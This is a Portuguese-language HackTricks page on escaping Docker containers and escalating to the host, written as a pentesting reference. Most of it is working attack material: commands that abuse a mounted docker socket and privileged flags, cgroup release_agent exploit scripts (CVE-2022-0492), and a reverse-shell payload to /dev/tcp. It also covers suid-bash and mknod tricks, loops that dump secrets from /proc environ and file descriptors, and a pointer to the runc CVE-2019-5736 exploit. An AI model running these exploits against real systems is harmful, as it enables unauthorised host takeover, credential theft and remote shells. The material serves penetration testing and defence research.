Docker Breakout / Privilege Escalation

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

• Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!

• Adquira o swag oficial PEASS & HackTricks

• Descubra A Família PEASS, nossa coleção exclusiva de NFTs

• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.

• Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

Use Trickest para construir e automatizar fluxos de trabalho com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo. Tenha Acesso Hoje:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Enumeração e Fuga Automáticas

• linpeas: Também pode enumerar containers

• CDK: Esta ferramenta é bastante útil para enumerar o container em que você está e até tentar escapar automaticamente

• amicontained: Ferramenta útil para obter os privilégios que o container possui a fim de encontrar maneiras de escapar dele

• deepce: Ferramenta para enumerar e escapar de containers

• grype: Obtenha as CVEs contidas no software instalado na imagem

Fuga do Docker Socket Montado

Se de alguma forma você descobrir que o socket do docker está montado dentro do container do docker, você será capaz de escapar dele. Isso geralmente acontece em containers do docker que, por algum motivo, precisam se conectar ao daemon do docker para realizar ações.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

Neste caso, você pode usar comandos docker regulares para se comunicar com o daemon do docker:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

Caso o socket do docker esteja em um local inesperado, ainda é possível comunicar com ele utilizando o comando docker com o parâmetro -H unix:///caminho/para/docker.sock

O daemon do Docker também pode estar ouvindo em uma porta (por padrão 2375, 2376) ou em sistemas baseados em Systemd, a comunicação com o daemon do Docker pode ocorrer sobre o socket do Systemd fd://.

Além disso, preste atenção nos sockets de tempo de execução de outras runtimes de alto nível:

• dockershim: unix:///var/run/dockershim.sock

• containerd: unix:///run/containerd/containerd.sock

• cri-o: unix:///var/run/crio/crio.sock

• frakti: unix:///var/run/frakti.sock

• rktlet: unix:///var/run/rktlet.sock

• ...

Fuga de Abuso de Capacidades

Você deve verificar as capacidades do contêiner, se ele tiver alguma das seguintes, você pode ser capaz de escapar dele: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

Você pode verificar as capacidades atuais do contêiner usando as ferramentas automáticas mencionadas anteriormente ou:

capsh --print

Na seguinte página você pode aprender mais sobre as capacidades do Linux e como abusá-las para escapar/elevar privilégios:

pageLinux Capabilities

Escapando de Containers Privilegiados

Um container privilegiado pode ser criado com a flag --privileged ou desabilitando defesas específicas:

• --cap-add=ALL

• --security-opt apparmor=unconfined

• --security-opt seccomp=unconfined

• --security-opt label:disable

• --pid=host

• --userns=host

• --uts=host

• --cgroupns=host

• Montar /dev

A flag --privileged reduz significativamente a segurança do container, oferecendo acesso irrestrito a dispositivos e contornando várias proteções. Para uma análise detalhada, consulte a documentação sobre os impactos completos de --privileged.

pageDocker --privileged

Privileged + hostPID

Com essas permissões, você pode simplesmente mover-se para o namespace de um processo em execução no host como root como o init (pid:1) apenas executando: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Teste em um container executando:

docker run --rm -it --pid=host --privileged ubuntu bash

Privilegiado

Apenas com a flag privilegiada você pode tentar acessar o disco do host ou tentar escapar abusando do release_agent ou de outros escapes.

Teste os seguintes bypasses em um contêiner executando:

docker run --rm -it --privileged ubuntu bash

Montagem de Disco - Poc1

Contêineres Docker bem configurados não permitirão comandos como fdisk -l. No entanto, em um comando Docker mal configurado onde a flag --privileged ou --device=/dev/sda1 com privilégios é especificada, é possível obter privilégios para visualizar a unidade do host.

Portanto, para assumir o controle da máquina host, é trivial:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

E voilà! Agora você pode acessar o sistema de arquivos do host porque ele está montado na pasta /mnt/hola.

Montando Disco - Poc2

Dentro do contêiner, um atacante pode tentar obter mais acesso ao sistema operacional host subjacente por meio de um volume hostPath gravável criado pelo cluster. Abaixo estão algumas coisas comuns que você pode verificar dentro do contêiner para ver se pode aproveitar esse vetor de ataque:

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Fuga de Privilégios Abusando do release_agent existente (cve-2022-0492) - PoC1

PoC Inicial

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

Fuga de privilégios abusando do release_agent criado (cve-2022-0492) - PoC2

Segundo PoC

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Encontre uma explicação da técnica em:

pageDocker release_agent cgroups escape

Fuga de Privilégios Abusando do release_agent sem conhecer o caminho relativo - PoC3

Nos exploits anteriores, o caminho absoluto do contêiner dentro do sistema de arquivos do host é revelado. No entanto, nem sempre é o caso. Em situações em que você não conhece o caminho absoluto do contêiner dentro do host, você pode usar esta técnica:

pagerelease_agent exploit - Relative Paths to PIDs

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Executar o PoC dentro de um contêiner privilegiado deve fornecer uma saída semelhante a:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Fuga de Privilégios Abusando de Montagens Sensíveis

Existem vários arquivos que podem ser montados e fornecer informações sobre o host subjacente. Alguns deles podem até indicar algo a ser executado pelo host quando algo acontece (o que permitirá a um atacante escapar do contêiner). A exploração desses arquivos pode permitir que:

• release_agent (já abordado anteriormente)

• binfmt_misc

• core_pattern

• uevent_helper

• modprobe

No entanto, você pode encontrar outros arquivos sensíveis para verificar nesta página:

pageSensitive Mounts

Montagens Arbitrárias

Em várias ocasiões, você descobrirá que o contêiner possui algum volume montado do host. Se este volume não estiver configurado corretamente, você pode ser capaz de acessar/modificar dados sensíveis: Ler segredos, alterar chaves autorizadas do ssh...

docker run --rm -it -v /:/host ubuntu bash

Escalação de Privilégios com 2 shells e montagem de host

Se você tem acesso como root dentro de um contêiner que tem alguma pasta do host montada e você escapou como um usuário não privilegiado para o host e tem acesso de leitura sobre a pasta montada. Você pode criar um arquivo bash suid na pasta montada dentro do contêiner e executá-lo a partir do host para escalar privilégios.

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Escalação de Privilégios com 2 shells

Se você tem acesso como root dentro de um contêiner e conseguiu escapar como um usuário não privilegiado para o host, você pode abusar de ambos os shells para escalar privilégios dentro do host se tiver a capacidade MKNOD dentro do contêiner (por padrão) como explicado neste post. Com essa capacidade, o usuário root dentro do contêiner tem permissão para criar arquivos de dispositivo de bloco. Arquivos de dispositivo são arquivos especiais usados para acessar hardware subjacente e módulos do kernel. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para ler os dados brutos no disco do sistema.

O Docker se protege contra o uso indevido de dispositivos de bloco dentro dos contêineres, aplicando uma política cgroup que bloqueia operações de leitura/gravação de dispositivos de bloco. No entanto, se um dispositivo de bloco for criado dentro do contêiner, ele se torna acessível de fora do contêiner através do diretório /proc/PID/root/. Esse acesso requer que o proprietário do processo seja o mesmo tanto dentro quanto fora do contêiner.

Exemplo de exploração deste artigo:

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$

# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

Se você pode acessar os processos do host, você será capaz de acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:

docker run --rm -it --pid=host ubuntu bash

Por exemplo, você poderá listar os processos usando algo como ps auxn e procurar por detalhes sensíveis nos comandos.

Depois, como você pode acessar cada processo do host em /proc/, você pode simplesmente roubar seus segredos de ambiente executando:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

Você também pode acessar os descritores de arquivos de outros processos e ler os arquivos abertos por eles:

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

Você também pode encerrar processos e causar um DoS.

Se de alguma forma você tiver acesso privilegiado sobre um processo fora do contêiner, você poderia executar algo como nsenter --target <pid> --all ou nsenter --target <pid> --mount --net --pid --cgroup para executar um shell com as mesmas restrições ns (esperançosamente nenhuma) daquele processo.

hostNetwork

docker run --rm -it --network=host ubuntu bash

Se um contêiner foi configurado com o driver de rede do Docker host (--network=host), a pilha de rede desse contêiner não está isolada do host do Docker (o contêiner compartilha o namespace de rede do host) e o contêiner não recebe seu próprio endereço IP alocado. Em outras palavras, o contêiner vincula todos os serviços diretamente ao IP do host. Além disso, o contêiner pode interceptar TODO o tráfego de rede que o host está enviando e recebendo na interface compartilhada tcpdump -i eth0.

Por exemplo, você pode usar isso para capturar e até falsificar o tráfego entre o host e a instância de metadados.

Como nos exemplos a seguir:

• Artigo: Como contatar o Google SRE: Inserindo um shell no Cloud SQL

• MITM do serviço de metadados permite escalonamento de privilégios de root (EKS / GKE)

Você também poderá acessar serviços de rede vinculados ao localhost dentro do host ou até mesmo acessar as permissões de metadados do nó (que podem ser diferentes daquelas que um contêiner pode acessar).

hostIPC

docker run --rm -it --ipc=host ubuntu bash

Com hostIPC=true, você ganha acesso aos recursos de comunicação interprocessual (IPC) do host, como memória compartilhada em /dev/shm. Isso permite a leitura/escrita onde os mesmos recursos IPC são usados por outros processos do host ou do pod. Use ipcs para inspecionar esses mecanismos IPC.

• Inspecionar /dev/shm - Procure por arquivos neste local de memória compartilhada: ls -la /dev/shm

• Inspecionar instalações IPC existentes - Você pode verificar se alguma instalação IPC está sendo usada com /usr/bin/ipcs. Verifique com: ipcs -a

Recuperar capacidades

Se a chamada de sistema unshare não estiver proibida, você pode recuperar todas as capacidades executando:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

Abuso de namespace de usuário via symlink

A segunda técnica explicada no post https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ indica como você pode abusar de bind mounts com namespaces de usuário, para afetar arquivos dentro do host (naquele caso específico, excluir arquivos).

Use Trickest para construir facilmente e automatizar fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo. Tenha Acesso Hoje:

Automate OffSec, EASM, and Custom Security Processes | Trickest

CVEs

Exploração do Runc (CVE-2019-5736)

Caso você consiga executar docker exec como root (provavelmente com sudo), tente escalar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit aqui). Essa técnica basicamente sobrescreverá o binário /bin/sh do host a partir de um contêiner, então qualquer pessoa executando docker exec pode acionar o payload.

Altere o payload conforme necessário e compile o main.go com go build main.go. O binário resultante deve ser colocado no contêiner docker para execução. Ao executar, assim que exibir [+] Sobrescrito /bin/sh com sucesso, você precisa executar o seguinte da máquina host:

docker exec -it <nome-do-contêiner> /bin/sh

Isso acionará o payload presente no arquivo main.go.

Para mais informações: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Existem outros CVEs aos quais o contêiner pode ser vulnerável, você pode encontrar uma lista em https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Fuga Personalizada do Docker

Superfície de Fuga do Docker

• Namespaces: O processo deve estar completamente separado de outros processos via namespaces, para que não possamos escapar interagindo com outros processos devido a namespaces (por padrão, não pode se comunicar via IPCs, sockets unix, serviços de rede, D-Bus, /proc de outros processos).

• Usuário root: Por padrão, o usuário que executa o processo é o usuário root (no entanto, seus privilégios são limitados).

• Capacidades: O Docker deixa as seguintes capacidades: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

• Syscalls: Estes são os syscalls que o usuário root não poderá chamar (por falta de capacidades + Seccomp). Os outros syscalls poderiam ser usados para tentar escapar.

x64 syscalls

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

chamadas de sistema arm64

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

syscall_bf.c

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

• Find the path of the containers filesystem inside the host

• You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit

• Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens

• You should be able to execute the trigger from inside the host

• You need to know where the containers files are located inside the host to indicate a script you write inside the host

• Have enough capabilities and disabled protections to be able to abuse that functionality

• You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

• https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB

• https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

• https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html

• https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

• https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

• Get the official PEASS & HackTricks swag

• Discover The PEASS Family, our collection of exclusive NFTs

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.

• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.